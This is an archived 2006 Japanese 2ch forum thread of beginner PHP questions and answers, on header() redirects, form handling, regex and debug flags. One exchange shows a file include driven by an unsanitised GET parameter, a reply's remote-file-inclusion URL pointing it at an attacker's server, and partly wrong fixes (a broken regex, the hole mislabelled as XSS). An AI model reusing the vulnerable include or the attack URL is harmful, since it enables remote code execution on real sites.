トップページ⇒php
1001コメント352KB

【PHP】下らねぇ質問はここに書き込みやがれpart20

■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん2006/04/28(金) 04:12:33ID:???
PHPに関するくだらねぇ質問用スレです。
ここなら本スレで回答のないお前の下らない質問に回答があるかも知れません。

まず読め【PHP マニュアル】
http://www.php.net/manual/ja/

本スレ【PHP】質問スレッドpart34【php】
http://pc8.2ch.net/test/read.cgi/php/1142903954/

【PHP】下らねぇ質問はここに書き込みやがれ Part19
http://pc8.2ch.net/test/read.cgi/php/1144513878/

過去スレは>>2-3あたり
0784nobodyさん2006/05/20(土) 04:00:40ID:???
2ちゃんのTV番組欄をクリックするのですがファイルが残ってなくて毎回クリックしなきゃならない。なぜ?
0785nobodyさん2006/05/20(土) 04:20:40ID:???
>>784
  ワケ     ワカ     ラン♪
  ∧_∧   ∧_∧    ∧_∧
 ( ・∀・)  ( ・∀・)   ( ・∀・)
⊂ ⊂  )  ( U  つ  ⊂__へ つ
 < < <    ) ) )     (_)|
 (_(_)  (__)_)    彡(__)
0786nobodyさん2006/05/20(土) 04:28:51ID:???
>>749
date('t');
07877842006/05/20(土) 05:03:45ID:???
http://epg.2ch.net/tv2chwiki/
をIE5で開いても番組ファイルが残ってないのでクリックし直さなきゃなんないのです
0788nobodyさん2006/05/20(土) 05:03:45ID:???
>>785
そのAA、確か続きがあったよな。どんなのだっけ。
07897242006/05/20(土) 05:04:48ID:???
>>783
いえいえ、もちろんそんなこと思ってませんよ。
もし何か保存されてるとしたらセッションIDだけですよね。
自分では明示的にクッキーに何か保存するコードは書いてませんので。

っていうか、とにかくIEのクッキー保存フォルダに、該当ドメインのクッキーが
見当たらないんですよね。。。 他のサイト(たとえばyahooとか)のクッキーはもちろんそのフォルダにあります。
0790nobodyさん2006/05/20(土) 06:32:41ID:???
すいません。
スレ違いかもしれないのですが、SQLiteってidentityって使えませんでしょうか。。
SQL文は通るのですが、値が入ってないみたいでして。。
PHPは5.1.4使ってます。
0791nobodyさん2006/05/20(土) 07:23:44ID:???
>>790
identity使えるのはSQL ServerとMS Accessだけ
SQLite含めOracleやpostgreSQL, MySQLでは使えない
0792nobodyさん2006/05/20(土) 09:52:31ID:???
>>787
キャッシュコントロールによるもの
0793nobodyさん2006/05/20(土) 12:09:03ID:???
logファイルから、文字(半角英数字を除く)を呼び出したら、文字化けした。。。。
なんで?
携帯サイトだから、SJISなんだけど
0794nobodyさん2006/05/20(土) 12:11:52ID:???
くだ質があります。

今までで、これは使いやすい・または優秀だと思ったWebアプリのUIは何ですか?
ちょっとPHPとは関係ない感じではありますが、(DHTMLよりかも)
デザイナーではなく、マの視点が聞きたいのもありますので。

Virtual Earth
http://local.live.com/
0795nobodyさん2006/05/20(土) 14:02:30ID:???
>>794
PHPと関係ないってわかってんならココに書くな
0796nobodyさん2006/05/20(土) 14:40:18ID:???
まあ大分類だと UI=HTML だからね
0797nobodyさん2006/05/20(土) 14:58:45ID:???
>>793
解決しました
0798nobodyさん2006/05/20(土) 15:13:58ID:???
<html>
<head>
<title>aaa</title>
</head>
<body>
<?php
$hour = date('H');
if (3 <= $hour < 10) {
$greeting = 'おはようございます';
} else if (10 <= $hour < 18) {
$greeting = 'こんにちわ';
} else {
$greeting = 'こんばんわ';
}

echo $greeting."現在の時刻は".date('H時間')."です";
?>
</body>
</html>

Parse error: syntax error, unexpected 〜と出るんですが
何がおかしいですかね
うんこな質問だったらごめんなさい
0799nobodyさん2006/05/20(土) 15:27:38ID:???
エラーの行数も表示されるはずだが、なんで隠すのかねぇ。
とりあえず、この書き方がキモく感じるから、これが間違ってるんでね?
if (3 <= $hour < 10) {
0800nobodyさん2006/05/20(土) 15:40:19ID:???
if (3 <= $hour and $hour < 10) {
0801nobodyさん2006/05/20(土) 16:30:53ID:???
phpに直接関係ないかもしれないけど、phpで作るつもりなので質問させてください。
ある会社が提供してるサービスを再販するために、システム開発のためのAPI提供してくれてるんですが、
その使用形式ってのが
http://その会社のアドレス/api.php?id=$id&pass=$pass&action=$action
というアドレスへシステム(php等)からアクセスするっていう方式なんです。
ここでかなり不安になったのが、
URLにID/PASSを含んでることです。
まずSSL使用しなければ危険性盛りだくさんな気がしますし、
このシステムはクライアントに対して利用してもらうことになるので
他にもなんかかなり不安です。
(たとえば、php.iniでエラー表示させる設定にしてて
何かエラーが発生したら簡単にID/PASSを漏らしちゃいそうな・・・
これの場合はその設定をoffにすればいいだけですが)


注意点とかあったら教えてください m(_ _)m
お願いします
0802nobodyさん2006/05/20(土) 16:36:01ID:???
>>801
ショルダーハックでググると幸せになるかもしれません。
0803nobodyさん2006/05/20(土) 16:45:50ID:???
>>801
そのURLをPHPの中で使用するという前提でAPI提供してくれているならOKじゃね?
0804nobodyさん2006/05/20(土) 17:02:24ID:???
>>799
ああああ
もしかして最後のline 7とか出てたのがそれだったんですか
>>780

お二人ともありがとうございました
0805nobodyさん2006/05/20(土) 17:09:46ID:???
いっつも preg_match_all 使って特定の文字列抜き出してるんだけど、

例:「COUNT=1 COUNT2=2」のCOUNTの値を取り出したい場合は

$var = "COUNT=1 COUNT2=2";
preg_match_all("/COUNT=([0-9])/", $var, $match_list);
$count = $match_list[1][0];

とやってますが、この $match_listの後ろの配列っぷり([1][0])が苦手です。

もっとわかりやすい方法あったら教えてちょ
0806nobodyさん2006/05/20(土) 17:26:52ID:???
bbsなどで、何処かに 1 2 3 4 5 6.... と数字(アンカー)を出力して、過去ログの各ページに直接ジャンプさせたいんですが、
全てのページ分の数字を出すと、多すぎて邪魔になってしまいます。

そこで、「1 2 (3 表示中) 4 5」や「25 26 (27 表示中) 28 29」のように、指定した数だけ表示させたいのですが、
方法がいまいちわかりません。どのようにすれば良いでしょうか。
0807nobodyさん2006/05/20(土) 17:59:24ID:???
>>805
$var = "COUNT=1 COUNT2=2";
preg_match_all("/COUNT=([0-9])/", $var, $match_list);
これでOKなのかと小一時間?
0808nobodyさん2006/05/20(土) 18:00:15ID:???
>>806
表示中の位置(3とか27とか)はわかるんでしょ
ループの開始値は「現在の位置−2」、ループの終了値は「現在位置+2」
0809nobodyさん2006/05/20(土) 18:08:25ID:???
>>807
言ってることがサニタイズ房と変わらんぜよ
0810nobodyさん2006/05/20(土) 18:12:09ID:???
>>805
面倒なら一旦
$var2=explode(' ', $var);
とかやって、1つずつ分割してから
foreach ($var2 as $var3) { if (preg_match('〜
のように処理しては?
どっちが分かりやすいかは(゚�听)シラネ
0811nobodyさん2006/05/20(土) 18:36:42ID:???
送られてくるクエリの型を変更できるのならそれがいいかもな
0812nobodyさん2006/05/20(土) 20:54:02ID:poPXxmgL
PHPの組み込み関数で複合できる暗号関数ってありますか?
ハッシュは見つかるのですが。。
0813nobodyさん2006/05/20(土) 21:01:18ID:???
PEARならcryptがあった気がするけど組み込みで可逆は記憶にないなぁ・・・
つか可逆暗号化なんて使う機会なかったし。

Blowfishなら簡単に作れるから作ってみたら?
08148122006/05/20(土) 21:07:32ID:???
ご回答ありがとうございます。
PHPが出てから結構たつ気がするのですが、ライブラリはまだPerlに比べて貧弱なんですね。。orz
けれど、mod_phpで運用されているところが多いのを考えると。。
Blowish、CPANから引っ張って来て移植してみます。ありがとうございました!
0815nobodyさん2006/05/20(土) 21:15:06ID:???
セキュリティ対策(CSRF対策など)チェックのためなどにhiddenのvalueを変更したり、値を
変更することを

フォーム内容を変更して

って言っていたんですが、通じなかったのですが、通常なんて言うのですか?
0816nobodyさん2006/05/20(土) 21:59:06ID:???
最初の2行
0817nobodyさん2006/05/20(土) 22:05:08ID:???
>>815
業務でやってんならソイツが糞
0818nobodyさん2006/05/20(土) 22:05:18ID:???
>>815
「フォーム内容」だと漠然としすぎて(値だけじゃなく構成から何から全部含むので)
それで通じるとこは普通無いと思う。
素直に具体的に書け。
0819nobodyさん2006/05/20(土) 22:05:29ID:???
>>815
すみませんが、あちらにお帰り下さい。
0820nobodyさん2006/05/20(土) 22:08:22ID:???
みなさんすみません。
>>815は
http://pc8.2ch.net/test/read.cgi/hp/1141064508/
で暴れまわっている、◆uuPwxrB4qc というキティちゃんなので
完全放置してください。
0821nobodyさん2006/05/20(土) 22:13:57ID:???
はーい
せんせーわかりましたー(;´Д`)∩
0822nobodyさん2006/05/20(土) 22:22:11ID:???
>>815
強いて言えばフォームの送信内容を変更して、かなぁ。
普通はそれ、フォーム内容とは言わないと思う。
0823nobodyさん2006/05/20(土) 23:00:41ID:???
ぜんぜん分かっとらんやないかー
0824nobodyさん2006/05/21(日) 00:35:06ID:???
>>815が皆様に御迷惑をおかけしたようで大変申し訳御座いませんでした。
http://pc8.2ch.net/test/read.cgi/hp/1141064508/
にてなぶり殺しの刑に処しましたのでお許しくださいませ。
0825nobodyさん2006/05/21(日) 00:38:49ID:???
はーい
せんせーわかりましたー(;´Д`)∩
0826nobodyさん2006/05/21(日) 00:53:41ID:???
>>815
フォームをどうこうでは難しいんじゃないかなぁ
強いて言うならパンツ一丁というか、、、
0827nobodyさん2006/05/21(日) 17:14:54ID:???
フォームのデータをPOSTしているんですが、
なぜか受け取り側ではGETでしか値を取得できません。
きちんとPOSTでうけとりたいのですが、
どこをいじればいいんでしょう?
お願いします。
0828nobodyさん2006/05/21(日) 17:23:45ID:???
>>827
methodがgetになっている
0829nobodyさん2006/05/21(日) 17:33:39ID:???
>>828
↓これがGETでしか受信できません。

<form action="top.php" name="top" method="POST">
<table>
<tr>
<td><input type="text" name="name" value=""></td>
</tr>
<tr>
<td><input type="submit" name="confirm" value="確認"></td>
</tr>
</table>
</form>

0830nobodyさん2006/05/21(日) 17:46:10ID:DL+BRbj9
>>829
なぜGETでしか「受信」できてないのかを書いたほうがいいかも
#どういう事象からGETでしか「受信」できてないかという結論を導き出したかってことね
0831nobodyさん2006/05/21(日) 18:07:43ID:???
YouTubeのように、動画から静止画を抜き出したいんですが
これってかなり技術を要するのでしょうか?
解説するページ等があったら教えてください。
0832nobodyさんNGNG
パンツのゴムひもがゆるゆるなんですが
直す方法ないでしょうか?
パンツがずり下がってきて困ってるんです。
0833nobodyさん2006/05/21(日) 18:22:16ID:???
>>832
パンツに紐は付いてないのですか?
それを縛ればOK
0834nobodyさん2006/05/21(日) 18:36:47ID:???
>>831
バックグラウンドで動画からサムネイル抽出するツール起動すればいいだけ。
0835nobodyさん2006/05/21(日) 18:55:08ID:???
>>831
ffmpegだっけなぁ。そういう動画を扱う(外部)プログラムを>>834のように実行させる
0836nobodyさん2006/05/21(日) 18:57:03ID:???
>>829
top.php の方もヨロ
0837nobodyさん2006/05/21(日) 19:04:10ID:???
>>834,835
レンタルサーバー等では無理そうですね…。
ヒントもらえたので色々調べてみようと思います。
0838nobodyさん2006/05/21(日) 19:38:51ID:???
>>827>>829
変な文章だな。送信はGETでやれてんの?POSTでやれてんの?
ブラウザのアドレス欄を見ればどっちで送信されてるかは分かるだろう。
アドレス欄に「?〜」が付いていないのに、受け取り側では$_POSTが空っぽ、って話?
0839nobodyさん2006/05/21(日) 19:40:09ID:???
>>837
レンタルスペースだと使えるとこは限られるだろうけど
サーバー貸しのとこならそのくらいインストールできるんじゃね?
0840nobodyさん2006/05/21(日) 19:45:51ID:???
>>829
実はformタグが入れ子になってたりしてな
0841nobodyさん2006/05/21(日) 22:03:59ID:???
>>840
というか、その前にある<form>タグの閉じ忘れとか。
0842nobodyさん2006/05/21(日) 23:32:31ID:???
ログアウトボタンを押したら特定のページに移動するものを作っています。

<?php
if (isset($logout)) {
unset($_SESSION['id']);
header("Location: ../login.php");
}else{
$mess .= "ログアウトしますか?";
$mess .= "<form method='POST' action='$PHP_SELF'>";
$mess .= "<input type='submit' name='logout' value='ログアウト'>";
$mess .= "</from>";
}
echo $mess;
?>

しかし、「ログアウト」のボタンを押すと、以下のようなエラーメッセージが出て
locationされません。どうしたらいいでしょうか?
Cannot modify header information - headers already sent by (output started at
0843nobodyさん2006/05/21(日) 23:38:10ID:???
>>842
ファイル名見せてみ?
08448422006/05/21(日) 23:39:51ID:???
>>843
ファイル名は(というかファイルの場所は)
http://(ドメイン名)/admin/logout/index.php

にしています。
0845nobodyさん2006/05/21(日) 23:46:17ID:???
header()関数を使う前に何か出力していたので、HTTPヘッダを出力できなかった、というのがそのエラーの内容。
header()の代わりにexit()で終了させて何も出力されていないか確認してごらん。
「何も」にはスペースや改行コードも含まれる。
0846nobodyさん2006/05/21(日) 23:49:40ID:???
>>842
↓ここに書いてある通り、
headers already sent by (output started at
↓の行が実行される前に何かが出力されている
header("Location: ../login.php");

<?phpの前に空き行が無いか確認
というか、「started at〜」の所にその最初の出力がある行番号が出ているはずだが
あと、Location:のとび先は本来は絶対アドレスで書く
いずれも詳しくはマニュアルのheaderの項目を嫁
0847nobodyさん2006/05/21(日) 23:49:58ID:???
<?phpの前とかに空白あるってのは定番のバグ
0848nobodyさん2006/05/21(日) 23:50:34ID:???
>>842
絶対に<?php の前に<html>から始まる一連のHTMLタグが書かれているでしょ
08498422006/05/21(日) 23:56:42ID:???
>>845
exit();をしましたが、何も出力されませんでした。

>>846-848
もしかして同じページにheaderが2つあったらいけないのでしょうか?
というのも
<?
ログインを判別するソース。ログインしてない場合はheader("Location")で
ログインフォームに戻す
?>
<html>
〜
>>842のソース
</html>

となっています。
0850nobodyさん2006/05/21(日) 23:59:02ID:???
>>849
>>842のソースの前に<html>あるじゃん。それだよ。
ログインチェックと一緒にやりましょ。
08518422006/05/22(月) 00:03:19ID:???
>>850
わかりました。修正してみます。ありがとうございました。
0852nobodyさん2006/05/22(月) 00:03:25ID:???
>>649
headerが二つ書いてあったって別に良いけど、
出力(実行)は一回だけ。

ただし、header関数実行以外でも<?php 〜 ?>の外側に何かが書かれていると、
その時点で、PHPはtext/htmlというMIMEヘッダーを出力する。
0853nobodyさん2006/05/22(月) 00:29:24ID:???
ttp://cockatiel.blog6.fc2.com/blog-entry-404.html
0854nobodyさん2006/05/22(月) 00:39:27ID:???
>>853
しょーもないからコメントしてあげたw
0855nobodyさん2006/05/22(月) 00:44:06ID:???
またしょーもないコメント書いたもんだなぁw
0856nobodyさん2006/05/22(月) 00:49:48ID:???
>>855
いやぁ、それほどでも…(デレデレ
0857nobodyさん2006/05/22(月) 00:51:04ID:???
俺も書いてきたぜ!

…真面目に相手しすぎ?
0858nobodyさん2006/05/22(月) 00:54:58ID:???
ほめてないお(^^;
0859nobodyさん2006/05/22(月) 00:57:05ID:???
ところで最初のコメントの 意味が逆です ってどういういみ?

男らしく謝る心の広さw
0860nobodyさん2006/05/22(月) 01:02:50ID:???
>>859
「多分>>857氏が書いた内容」を読めば分かると思う。
0861nobodyさん2006/05/22(月) 01:41:38ID:U9KQg94s
require()で、存在しないファイルを指定した場合、「ファイルが無いよ」という
エラーメッセージを返したいのですが、require()は取りこみに失敗しても「FALSE」を返しませんよね?

こういった場合、みなさんはどうします?
0862nobodyさん2006/05/22(月) 01:50:50ID:???
>>861
if(file_exists())
を直前に行っておく。
0863nobodyさん2006/05/22(月) 01:56:59ID:???
>>861
require()だと普通に「ファイル読ねエラー」吐いて停止するでそ?

include()掛けて、インクルードファイルの中に
定数定義でも仕込んでおいて、それを評価するとか。
思いつきだけど。
0864nobodyさん2006/05/22(月) 02:04:29ID:???
>>861
require()で、存在しないファイルを指定
↑そういう実装の仕方が糞だと思うに一票。
08658612006/05/22(月) 02:07:01ID:U9KQg94s
>>862-863
ヒント、ありがとうです。

$cmd  =  $_GET["cmd"];
if (file_exists($cmd . ".inc.php") {
    include ($cmd . ".inc.php");
} else {
    $error  =  "Not Found...";
}
0866nobodyさん2006/05/22(月) 02:12:27ID:???
>>865
そのままだとXSSの危険性があるので preg_match() で正規表現による
マッチングを行ったほうがいいと思う。念のため。
0867nobodyさん2006/05/22(月) 03:10:50ID:???
>>865
http://>>865サーバ/test.php?cmd=http://オレのサーバ/悪意のあるコードを含んだinc.phpのあるディレクトリパス
08688612006/05/22(月) 03:37:18ID:U9KQg94s
>>866-867
こんな感じでどうでしょうか?

if ($_GET["cmd"]) {
  $cmd = $_GET["cmd"];
  if (preg_match ("[0-9A-Za-z]", $cmd, $m_cmd) ) {
     if (file_exists ("./plugin" . $m_cmd . ".inc.php") != FALSE) {
        include ("./plugin/" . $m_cmd . ".inc.php");
     } else {
        $error = "Plugin: " . htmlspecialchars ($m_cmd) . "is not implemented";
     }
  }
}
0869nobodyさん2006/05/22(月) 04:34:06ID:???
Cでよくやる
#define DEBUG
#ifdef DEBUG
デバグ用コード
#endif
に近いことを php でやるにはどうしたらいいでしょう?

デバグ用のコードに簡単に切り替えられればなんでもいいですが。
0870nobodyさん2006/05/22(月) 04:47:43ID:???
define('DEBUG', true);
if (defined('DEBUG')):
デバグ用コード
endif;
0871nobodyさん2006/05/22(月) 04:49:09ID:3WaYFEXj
以下のコード(ほんの一例)では・・・
system("cvs checkout -d /usr/local/www/subdomain/cvs example.com");
system("chmod 707 /usr/local/www/subdomain/cvs/inc/class/smarty/app/templates_c");
必ず、1つめのsystemによる実行がすべて終わってから、2つめのsystemが実行されるのでしょうか?
(同時に実行してしまうことはないでしょうか?)
0872nobodyさん2006/05/22(月) 04:57:54ID:???
>>870
endifなんてPHPにあったっけ?
0873nobodyさん2006/05/22(月) 04:58:54ID:???
>>871
systemで実行するコマンドがバックグラウンド動作指定されてなければ大丈夫
0874nobodyさん2006/05/22(月) 05:05:07ID:???
>>867
それはfile_exists()の段階で弾かれそう
0875nobodyさん2006/05/22(月) 05:08:04ID:???
>>870
あれ、PHP って
if() {
function hoge() {
}
}
とかできるん?
0876nobodyさん2006/05/22(月) 05:18:08ID:???
>>872
つ http://www.php.net/manual/ja/control-structures.alternative-syntax.php
俺も余り使わんが
0877nobodyさん2006/05/22(月) 05:22:40ID:???
>>875
できるよ
0878nobodyさん2006/05/22(月) 05:38:25ID:???
>>874
ぐは
file_existsはリモートファイルでは使えないって書いてあったorz
みんな、マニュアルはよく読もうね(´・ω・`)
0879nobodyさん2006/05/22(月) 06:28:30ID:???
>>877
できんかった。
class 内ではできないのか?こまっちんぐ。
0880nobodyさん2006/05/22(月) 06:30:14ID:???
>>879
それは普通、extendでメソッドオーバーライトする場面じゃないのか?
0881nobodyさん2006/05/22(月) 06:35:44ID:???
>>880
php で関数上書きなんてできんでしょ?
0882nobodyさん2006/05/22(月) 06:39:29ID:???
>>881
あれ、ごめん勘違い。
オーバーロードができないだった。
0883nobodyさん2006/05/22(月) 06:42:45ID:???
あれ、でも、class 内関数でない関数をオーバーライドはできないよね?
そのときは例の if を使わざるをえない?
0884nobodyさん2006/05/22(月) 08:41:41ID:???
>>868
その正規表現だと「0-9A-Za-z」しかマッチしないんじゃないか?
正しく書かれていても、0-9a-zA-Zが1文字も含まれない場合しかスルーしない
if (preg_match ("!^\w+$!", $cmd, $m_cmd) ) {
とすべきか(_も含まれちゃうけど)

まあ既出の通りその後で蹴られるけど、関数の仕様が変わった時問題になるので
ファイル名のチェックは必要
■ このスレッドは過去ログ倉庫に格納されています